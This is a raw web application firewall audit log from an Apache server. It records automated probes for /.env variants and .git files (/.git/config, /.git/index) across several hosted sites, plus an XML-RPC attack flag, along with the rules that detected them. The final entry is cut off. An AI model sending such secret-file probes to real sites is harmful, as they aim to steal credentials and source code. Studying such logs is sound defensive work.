p1=415, p2=1473, p3=0, p4=0, p5=106, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --add01c02-Z-- --7787b041-A-- [16/Jun/2025:00:26:21.155911 +0530] aE8XVD3D4g1mGjVnV5KBHAAAAAY 185.177.72.3 36618 127.0.0.1 7081 --7787b041-B-- GET /.env.testing HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --7787b041-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --7787b041-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.env.testing"] [unique_id "aE8XVD3D4g1mGjVnV5KBHAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780603700 552274 (- - -) Stopwatch2: 1750013780603700 552274; combined=1798, p1=338, p2=1370, p3=0, p4=0, p5=89, sr=78, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7787b041-Z-- --3fdf5c08-A-- [16/Jun/2025:00:26:21.185757 +0530] aE8XVC7MaF0j8lD2KTISvAAAAAM 185.177.72.3 36610 127.0.0.1 7081 --3fdf5c08-B-- GET /backup/.env HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --3fdf5c08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --3fdf5c08-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/backup/.env"] [unique_id "aE8XVC7MaF0j8lD2KTISvAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780073119 1112701 (- - -) Stopwatch2: 1750013780073119 1112701; combined=2377, p1=504, p2=1757, p3=0, p4=0, p5=115, sr=144, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fdf5c08-Z-- --8f271637-A-- [16/Jun/2025:00:26:21.216615 +0530] aE8XVMeCLQXSV5p8-VEeuwAAAAA 185.177.72.3 36616 127.0.0.1 7081 --8f271637-B-- GET /.env.production HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --8f271637-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --8f271637-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.env.production"] [unique_id "aE8XVMeCLQXSV5p8-VEeuwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780074631 1142044 (- - -) Stopwatch2: 1750013780074631 1142044; combined=1766, p1=388, p2=1294, p3=0, p4=0, p5=83, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f271637-Z-- --b15d4215-A-- [16/Jun/2025:00:26:21.298316 +0530] aE8XVChnDkBlcF0fkxMJFQAAAAQ 185.177.72.3 36632 127.0.0.1 7081 --b15d4215-B-- GET /settings/.env HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --b15d4215-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --b15d4215-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/settings/.env"] [unique_id "aE8XVChnDkBlcF0fkxMJFQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780636935 661471 (- - -) Stopwatch2: 1750013780636935 661471; combined=2165, p1=483, p2=1576, p3=0, p4=0, p5=105, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b15d4215-Z-- --ebe4d64e-A-- [16/Jun/2025:00:26:21.610483 +0530] aE8XVCCwfN5GtQhYhHA-qQAAAAw 185.177.72.3 36544 127.0.0.1 7081 --ebe4d64e-B-- GET /.env.local HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --ebe4d64e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --ebe4d64e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.env.local"] [unique_id "aE8XVCCwfN5GtQhYhHA-qQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780049167 1561378 (- - -) Stopwatch2: 1750013780049167 1561378; combined=2145, p1=440, p2=1624, p3=0, p4=0, p5=81, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ebe4d64e-Z-- --5dc66700-A-- [16/Jun/2025:00:26:21.617658 +0530] aE8XVVf5cqug3Je0L8yZzAAAAAc 185.177.72.3 36652 127.0.0.1 7081 --5dc66700-B-- GET /.env HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --5dc66700-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --5dc66700-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.env"] [unique_id "aE8XVVf5cqug3Je0L8yZzAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013781007074 610652 (- - -) Stopwatch2: 1750013781007074 610652; combined=2465, p1=633, p2=1761, p3=0, p4=0, p5=71, sr=126, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5dc66700-Z-- --d14acc0c-A-- [16/Jun/2025:00:26:21.618323 +0530] aE8XVCKD19h5xDtM-2wXHAAAAAo 185.177.72.3 36530 127.0.0.1 7081 --d14acc0c-B-- GET /.git/info/exclude HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --d14acc0c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --d14acc0c-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.git/info/exclude"] [unique_id "aE8XVCKD19h5xDtM-2wXHAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780043456 1574923 (- - -) Stopwatch2: 1750013780043456 1574923; combined=1950, p1=386, p2=1500, p3=0, p4=0, p5=64, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d14acc0c-Z-- --c1056d3d-A-- [16/Jun/2025:00:26:21.637226 +0530] aE8XVFeqy5hRjKvJEAyXagAAAAE 185.177.72.3 36638 127.0.0.1 7081 --c1056d3d-B-- GET /.git/refs/heads/master HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --c1056d3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --c1056d3d-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.git/refs/heads/master"] [unique_id "aE8XVFeqy5hRjKvJEAyXagAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780656988 980299 (- - -) Stopwatch2: 1750013780656988 980299; combined=2258, p1=449, p2=1721, p3=0, p4=0, p5=87, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1056d3d-Z-- --7c7f2f7a-A-- [16/Jun/2025:00:26:21.673188 +0530] aE8XVZnj7pFxi-BGHz6n-gAAAAI 185.177.72.3 36666 127.0.0.1 7081 --7c7f2f7a-B-- GET /.git/index HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --7c7f2f7a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --7c7f2f7a-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.git/index"] [unique_id "aE8XVZnj7pFxi-BGHz6n-gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013781127297 545952 (- - -) Stopwatch2: 1750013781127297 545952; combined=2165, p1=426, p2=1664, p3=0, p4=0, p5=75, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7c7f2f7a-Z-- --1d8e8e6b-A-- [16/Jun/2025:00:26:21.740363 +0530] aE8XVceCLQXSV5p8-VEevAAAAAA 185.177.72.3 36688 127.0.0.1 7081 --1d8e8e6b-B-- GET /admin/.env HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --1d8e8e6b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --1d8e8e6b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/admin/.env"] [unique_id "aE8XVceCLQXSV5p8-VEevAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013781218140 522342 (- - -) Stopwatch2: 1750013781218140 522342; combined=1582, p1=314, p2=1141, p3=0, p4=0, p5=127, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1d8e8e6b-Z-- --0596981e-A-- [16/Jun/2025:00:26:21.775210 +0530] aE8XVS7MaF0j8lD2KTISvQAAAAM 185.177.72.3 36678 127.0.0.1 7081 --0596981e-B-- GET /.git/config HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --0596981e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --0596981e-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.git/config"] [unique_id "aE8XVS7MaF0j8lD2KTISvQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013781187574 587727 (- - -) Stopwatch2: 1750013781187574 587727; combined=2012, p1=446, p2=1455, p3=0, p4=0, p5=110, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0596981e-Z-- --2bbdb141-A-- [16/Jun/2025:00:26:22.130044 +0530] aE8XVSKD19h5xDtM-2wXHQAAAAo 185.177.72.3 36744 127.0.0.1 7081 --2bbdb141-B-- GET /docker/.env HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --2bbdb141-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --2bbdb141-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/docker/.env"] [unique_id "aE8XVSKD19h5xDtM-2wXHQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013781619875 510228 (- - -) Stopwatch2: 1750013781619875 510228; combined=1166, p1=236, p2=861, p3=0, p4=0, p5=69, sr=70, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2bbdb141-Z-- --d70e785d-A-- [16/Jun/2025:00:26:23.382239 +0530] aE8XVpnj7pFxi-BGHz6n_AAAAAI 128.199.112.101 36952 127.0.0.1 7081 --d70e785d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d70e785d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d70e785d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8XVpnj7pFxi-BGHz6n_AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013782250401 1131908 (- - -) Stopwatch2: 1750013782250401 1131908; combined=2286, p1=343, p2=1420, p3=60, p4=90, p5=232, sr=91, sw=141, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d70e785d-Z-- --5e31881b-A-- [16/Jun/2025:00:26:39.563466 +0530] aE8XZiCwfN5GtQhYhHA-vwAAAAw 185.177.72.210 53740 127.0.0.1 7081 --5e31881b-B-- GET /:5000/.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5e31881b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6c8b312c5772a2be6306600853e0138b1750013799; expires=Sun, 15 Jun 2025 19:56:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5e31881b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.local.example"] [unique_id "aE8XZiCwfN5GtQhYhHA-vwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013798568393 995135 (- - -) Stopwatch2: 1750013798568393 995135; combined=1852, p1=355, p2=1408, p3=0, p4=0, p5=89, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e31881b-Z-- --767e7158-A-- [16/Jun/2025:00:26:44.547079 +0530] aE8XagW_rlaNA7qLBTs-WwAAAAs 198.71.51.75 54542 127.0.0.1 7081 --767e7158-B-- GET /.git/branches/ HTTP/1.0 Host: www.futuronomics.com X-Real-IP: 198.71.51.75 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: WP Rocket/Preload Accept: */* Accept-Encoding: deflate, gzip, br, zstd --767e7158-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Link: <https://www.futuronomics.com/wp-json/>; rel="https://api.w.org/", <https://www.futuronomics.com/wp-json/wp/v2/media/4005>; rel="alternate"; title="JSON"; type="application/json", <https://www.futuronomics.com/?p=4005>; rel=shortlink Set-Cookie: wpr_guest_token=46e1c318bfb480e4f7989dc4f83451fb132b246ed07e73b8c188021f4a04137a; expires=Sun, 15 Jun 2025 19:56:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Vary: Accept-Encoding Last-Modified: Sun, 15 Jun 2025 18:56:44 GMT Content-Encoding: gzip Content-Length: 20862 Connection: close Content-Type: text/html; charset=UTF-8 --767e7158-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.futuronomics.com"] [uri "/.git/branches/"] [unique_id "aE8XagW_rlaNA7qLBTs-WwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/futuronomics.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013802808741 1738409 (- - -) Stopwatch2: 1750013802808741 1738409; combined=1170, p1=281, p2=802, p3=0, p4=0, p5=86, sr=73, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --767e7158-Z-- --feb9d909-A-- [16/Jun/2025:00:26:46.487783 +0530] aE8XbZnj7pFxi-BGHz6oEgAAAAI 185.177.72.210 54684 127.0.0.1 7081 --feb9d909-B-- GET /babel-plugin-dotenv/test/fixtures/as-alias/.env HTTP/1.0 Host: www.mindscan.edu.in 